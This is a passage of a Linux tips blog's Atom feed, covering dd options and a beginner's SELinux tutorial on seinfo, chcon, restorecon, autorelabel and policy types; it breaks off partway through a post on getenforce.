/&gt;Continue processing after read errors.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;notrunc&lt;/div&gt;&lt;br /&gt;Don't truncate output file.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;swab&lt;/div&gt;&lt;br /&gt;Swap each pair of input bytes.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;sync&lt;/div&gt;&lt;br /&gt;Pad input blocks to ibs with trailing zeros.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;count=n&lt;/div&gt;&lt;br /&gt;Copy only n input blocks.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;ibs=n&lt;/div&gt;&lt;br /&gt;Set input block size to n bytes (default is 512).&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;if=file&lt;/div&gt;&lt;br /&gt;Read input from file (default is standard input).&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;obs=n&lt;/div&gt;&lt;br /&gt;Set output block size to n bytes (default is 512).&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;of=file&lt;/div&gt;&lt;br /&gt;Write output to file (default is standard output).&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;seek=n&lt;/div&gt;&lt;br /&gt;Skip n output-sized blocks from start of output file.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;skip=n&lt;/div&gt;&lt;br /&gt;Skip n input-sized blocks from start of input file.&lt;br /&gt;&lt;br /&gt;--help&lt;br /&gt;&lt;br /&gt;Print help message and then exit.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;--version&lt;/div&gt;&lt;br /&gt;Print the version number and then exit.&lt;br /&gt;&lt;br /&gt;You can multiply size values (n) by a factor of 1024, 512, or 2 by appending the letter k, b, or w, respectively. You can use the letter x as a multiplication operator between two numbers.&lt;br /&gt;Examples&lt;br /&gt;&lt;br /&gt;Convert an input file to all lowercase:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;dd if=caps_file of=small_file conv=lcase&lt;/div&gt;&lt;br /&gt;Retrieve variable-length data and write it as fixed-length to out:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #741b47;"&gt;[data_retrieval_cmd] | dd of=out conv=sync,block&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-5732234486313023965?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/5732234486313023965/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/dd-dd-options-make-copy-of-input-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5732234486313023965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5732234486313023965'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/dd-dd-options-make-copy-of-input-file.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-1994146522052208321</id><published>2010-03-13T21:25:00.000-08:00</published><updated>2010-03-15T22:16:28.633-07:00</updated><title type='text'></title><content type='html'>&lt;meta content="text/html; charset=utf-8" equiv="Content-Type"&gt;&lt;/meta&gt;&lt;meta content="Word.Document" name="ProgId"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Generator"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Originator"&gt;&lt;/meta&gt;&lt;link href="file:///C:%5CDOCUME%7E1%5CCorPSE%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List" style="font-family: georgia;"&gt;&lt;/link&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} h2 	{mso-margin-top-alt:auto; 	margin-right:0in; 	mso-margin-bottom-alt:auto; 	margin-left:0in; 	mso-pagination:widow-orphan; 	mso-outline-level:2; 	font-size:18.0pt; 	font-family:"Times New Roman"; 	font-weight:bold;} p 	{mso-margin-top-alt:auto; 	margin-right:0in; 	mso-margin-bottom-alt:auto; 	margin-left:0in; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} code 	{font-family:"Courier New"; 	mso-ascii-font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman"; 	mso-hansi-font-family:"Courier New"; 	mso-bidi-font-family:"Courier New";} pre 	{margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;}  /* List Definitions */  @list l0 	{mso-list-id:1059280004; 	mso-list-template-ids:680941358;} @list l0:level1 	{mso-level-tab-stop:.5in; 	mso-level-number-position:left; 	text-indent:-.25in;} ol 	{margin-bottom:0in;} ul 	{margin-bottom:0in;} --&gt; &lt;/style&gt;  &lt;br /&gt;&lt;h2 style="color: #cc0000; font-family: georgia; font-style: italic; font-weight: bold;"&gt;&lt;span style="font-size: 180%;"&gt;Under the hood of Targeted Policy&lt;/span&gt;&lt;/h2&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To understand any SELinux policy, use the informative command—&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;seinfo&lt;/span&gt;&lt;/code&gt;.&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# seinfo&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Statistics for policy file: /etc/selinux/targeted/policy/policy.21&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Policy Version &amp;amp; Type: v.21 (binary, MLS)&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Classes:            61    Permissions:       220&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Types:            1513    Attributes:        148&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Users:               3    Roles:               6&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Booleans:          210    Cond. Expr.:       186&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Sensitivities:       1    Categories:       1024&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Allow:           82518    Neverallow:          0&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Auditallow:         28    Dontaudit:        5086&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Role allow:          5    Role trans:          0&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Type_trans:       1398    Type_change:        17&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Type_member:         0    Range_trans:        23&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Constraints:        47    Validatetrans:       0&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Fs_use:             15    Genfscon:           64&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Portcon:           264    Netifcon:            0&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Nodecon:             8    Initial SIDs:       27&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;seinfo&lt;/span&gt;&lt;/code&gt; is a policy query tool that queries policy files and provides vital information about it. When executed without any arguments, it queries the default loaded policy file.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;As you can see the policy file read by the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;seinfo&lt;/span&gt;&lt;/code&gt; tool by default is &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;/etc/selinux/targeted/policy/policy.21&lt;/span&gt;&lt;/code&gt;. Installed by the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;selinux-policy-targeted&lt;/span&gt;&lt;/code&gt; RPM, this file contains the binary Targeted Policy.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;The second line of the above output mentions that this is a binary policy with MLS (Multi Level Security). We will come to MLS in the later part of this series.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;Now comes the interesting part of the output. You can clearly see various components of the policy. We will discuss these components in the course of these articles. Let us concentrate on a few important ones right now.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;A typical security context as we discussed in Part 1 of this series, is of the type:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;User Identity:Role:Type/Domain&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;As we can see from the above, in the default SELinux Targeted policy, there are:&lt;/div&gt;&lt;ol start="1" style="color: #3366ff; font-family: georgia;" type="1"&gt;&lt;li class="MsoNormal"&gt;Users (3 in number)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Roles (6 in number)&lt;/li&gt;&lt;li class="MsoNormal"&gt;Types (1,513 in number)&lt;/li&gt;&lt;/ol&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;This means that any object or subject in the SELinux Policy installed in the system can have one of three user identities, one of six roles and one of the available 1,513 types.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To list user identities defined in the SELinux Targeted Policy, run the following command:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# seinfo -u&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Users: 3&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;system_u&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;root&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;user_u&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;Do check all possible security contexts for objects (files, dirs, etc) and subjects (processes) in your system. The user identitity component of the Security context will have one of the above three identities and nothing else.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;Similarly, to check the available roles, use the following code:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# seinfo -r&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Roles: 6&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;staff_r&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;user_r&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;object_r&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;secadm_r&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;sysadm_r&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;system_r&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;And please check the available list of types yourself by using the command given below:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# seinfo -t&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;Thus we now know that any existing object or subject in the system will have a security context created out of these three users, six roles and 1,513 types.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;You can alter the security context of any object by using the chcon command.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To change the type of an object, use &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;chcon -t&lt;/span&gt;&lt;/code&gt;. To change the user identity, use &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;chcon -u&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;chcon -r&lt;/span&gt;&lt;/code&gt; for role.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To test the above, create an empty file “context” in the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;/tmp&lt;/span&gt;&lt;/code&gt; directory and check its default security context:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# touch /tmp/context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# ls -lZ /tmp/context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;-rw-r--r--  root root user_u:object_r:tmp_t:s0         /tmp/context&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To change the type of this object from &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;tmp_t&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;unconfined_t&lt;/span&gt;&lt;/code&gt;, use the code below:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# chcon -t unconfined_t /tmp/context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# ls -Z /tmp/context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;-rw-r--r--  root root root:object_r:unconfined_t:s0    /tmp/context&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;I leave it as an exercise for you to change the role and the user for this object. If you face any issues, feel free to contact me at the e-mail ID provided below.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;Assuming that, as above, you have changed the security context of an object quite a few times and you would like to revert back to the original/default security context, &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;restorecon&lt;/span&gt;&lt;/code&gt; comes to the rescue.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;restorecon&lt;/span&gt;&lt;/code&gt; restores files to their default security contexts. The verbose option of the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;restorecon&lt;/span&gt;&lt;/code&gt; command also displays the changes made in the security context. To check the usage of this very handy command, look at the example below:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# touch /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# ls -Z /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;-rw-rw-r--  vbg vbg&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;user_u:object_r:user_home_t:s0         /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# chcon -t tmp_t /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# ls -Z /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;-rw-rw-r--  vbg vbg user_u:object_r:tmp_t:s0         /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# restorecon -v /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;restorecon reset /home/vbg/test-context context user_u:object_r:tmp_t:s0-&amp;gt;user_u:object_r:user_home_t:s0&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# ls -Z /home/vbg/test-context&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;-rw-rw-r--  vbg vbg user_u:object_r:user_home_t:s0   /home/vbg/test-context&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;The above snippet shows the utility of the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;restorecon&lt;/span&gt;&lt;/code&gt; command. It reads the default contexts to be applied from the policy files and applies the default security context to a file/directory object.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;A word of caution when using &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;restorecon&lt;/span&gt;&lt;/code&gt;: DO NOT use the command with the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;-r&lt;/span&gt;&lt;/code&gt; (recursive) option. It may overwrite the security contexts of some important files in the system that you may have changed.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;If you think that you have spoilt the security contexts of the files in your system beyond recovery, do not panic. Help is available in the form of Auto-Relabel, at boot. Simply create an empty file &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;/.autorelabel&lt;/span&gt;&lt;/code&gt;. Please note that it is a hidden file.&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# touch /.autorelabel&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# reboot&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;Following the procedure mentioned above will cause SELinux to relabel the files on your system upon rebooting. Please use this to fix any improper security context on files and directories.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;You can also use the &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;fixfiles&lt;/span&gt;&lt;/code&gt; command to achieve the above. &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;fixfiles&lt;/span&gt;&lt;/code&gt; can prevent you from rebooting your system but may not be as effective. Depending on the options and time available, you can choose any option that suits you—though I would suggest the reboot option.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-1994146522052208321?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/1994146522052208321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/normal-0-microsoftinternetexplorer4_7590.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1994146522052208321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/1994146522052208321'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/normal-0-microsoftinternetexplorer4_7590.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-3451393028503555339</id><published>2010-03-13T21:24:00.000-08:00</published><updated>2010-03-13T21:25:41.139-08:00</updated><title type='text'></title><content type='html'>&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 10"&gt;&lt;meta name="Originator" content="Microsoft Word 10"&gt;&lt;link style="font-family: georgia;" rel="File-List" href="file:///C:%5CDOCUME%7E1%5CCorPSE%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} h2 	{mso-margin-top-alt:auto; 	margin-right:0in; 	mso-margin-bottom-alt:auto; 	margin-left:0in; 	mso-pagination:widow-orphan; 	mso-outline-level:2; 	font-size:18.0pt; 	font-family:"Times New Roman"; 	font-weight:bold;} p 	{mso-margin-top-alt:auto; 	margin-right:0in; 	mso-margin-bottom-alt:auto; 	margin-left:0in; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} code 	{font-family:"Courier New"; 	mso-ascii-font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman"; 	mso-hansi-font-family:"Courier New"; 	mso-bidi-font-family:"Courier New";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman";} &lt;/style&gt; &lt;![endif]--&gt;  &lt;h2 style="font-family: georgia; color: rgb(204, 0, 0); font-style: italic;"&gt;Understanding various types of policies&lt;/h2&gt;  &lt;p style="font-family: georgia; color: rgb(51, 102, 255);"&gt;By definition, an SELinux policy is a collection of rules for SELinux Mandatory Access Controls. Each one of us can make a policy to suit our needs much like we define firewall rules through &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;iptables&lt;/span&gt;&lt;/code&gt;. There can be no standard policy that can apply to all situations.&lt;/p&gt;  &lt;p style="font-family: georgia; color: rgb(51, 102, 255);"&gt;By default, there are two policies shipped along with Red Hat Enterprise Linux: Targeted and Strict.&lt;/p&gt;  &lt;p style="font-family: georgia; color: rgb(51, 102, 255);"&gt;The Targeted Policy is the first step in assisting system administrators to understand and implement SELinux. It only ‘targets’ certain network daemons such as the Apache Web server, FTP server, BIND DNS server and a few others, while leaving the vast majority of end-user applications largely untouched. It creates an ‘unconfined’ domain ‘confinement’ (interesting paradox, isn’t it?) and does not apply Access Control Restrictions to most applications in the unconfined domain.&lt;/p&gt;  &lt;p style="font-family: georgia; color: rgb(51, 102, 255);"&gt;This allows sysadmins to concentrate on the really vulnerable network applications and services while not interfering with their daily tasks.&lt;/p&gt;  &lt;p style="font-family: georgia; color: rgb(51, 102, 255);"&gt;Once the nuts and bolts of SELinux are clear to administrators, they should move forward towards implementing the SELinux Strict Policy.&lt;/p&gt;  &lt;span style="font-size: 12pt; font-family: georgia; color: rgb(51, 102, 255);"&gt;The Strict Policy, on the other hand, is a true restrictive Access Control Policy. Before implementing this policy, make sure you understand SELinux concepts and policies well&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-3451393028503555339?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/3451393028503555339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/03/normal-0-microsoftinternetexplorer4_4014.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3451393028503555339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3451393028503555339'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/03/normal-0-microsoftinternetexplorer4_4014.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-5122985673985646627</id><published>2010-03-13T21:22:00.000-08:00</published><updated>2010-03-15T22:18:25.187-07:00</updated><title type='text'></title><content type='html'>&lt;meta content="text/html; charset=utf-8" equiv="Content-Type"&gt;&lt;/meta&gt;&lt;meta content="Word.Document" name="ProgId"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Generator"&gt;&lt;/meta&gt;&lt;meta content="Microsoft Word 10" name="Originator"&gt;&lt;/meta&gt;&lt;link href="file:///C:%5CDOCUME%7E1%5CCorPSE%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List" style="font-family: georgia;"&gt;&lt;/link&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} h2 	{mso-margin-top-alt:auto; 	margin-right:0in; 	mso-margin-bottom-alt:auto; 	margin-left:0in; 	mso-pagination:widow-orphan; 	mso-outline-level:2; 	font-size:18.0pt; 	font-family:"Times New Roman"; 	font-weight:bold;} p 	{mso-margin-top-alt:auto; 	margin-right:0in; 	mso-margin-bottom-alt:auto; 	margin-left:0in; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} code 	{font-family:"Courier New"; 	mso-ascii-font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman"; 	mso-hansi-font-family:"Courier New"; 	mso-bidi-font-family:"Courier New";} pre 	{margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;br /&gt;&lt;h2 style="color: #cc0000; font-family: georgia; font-style: italic;"&gt;&lt;span style="font-size: 180%;"&gt;Controlling SELinux&lt;/span&gt;&lt;/h2&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;The &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;getenforce&lt;/span&gt;&lt;/code&gt; command gets the current mode of SELinux. It reports whether SELinux is Enforcing, Permissive, or Disabled.On a system with SELinux disabled, it will display the following:&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@station20 ~]# getenforce&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Disabled&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;On a system with SELinux in Permissive Mode, it will display:&lt;/div&gt;&lt;pre style="color: #3366ff; 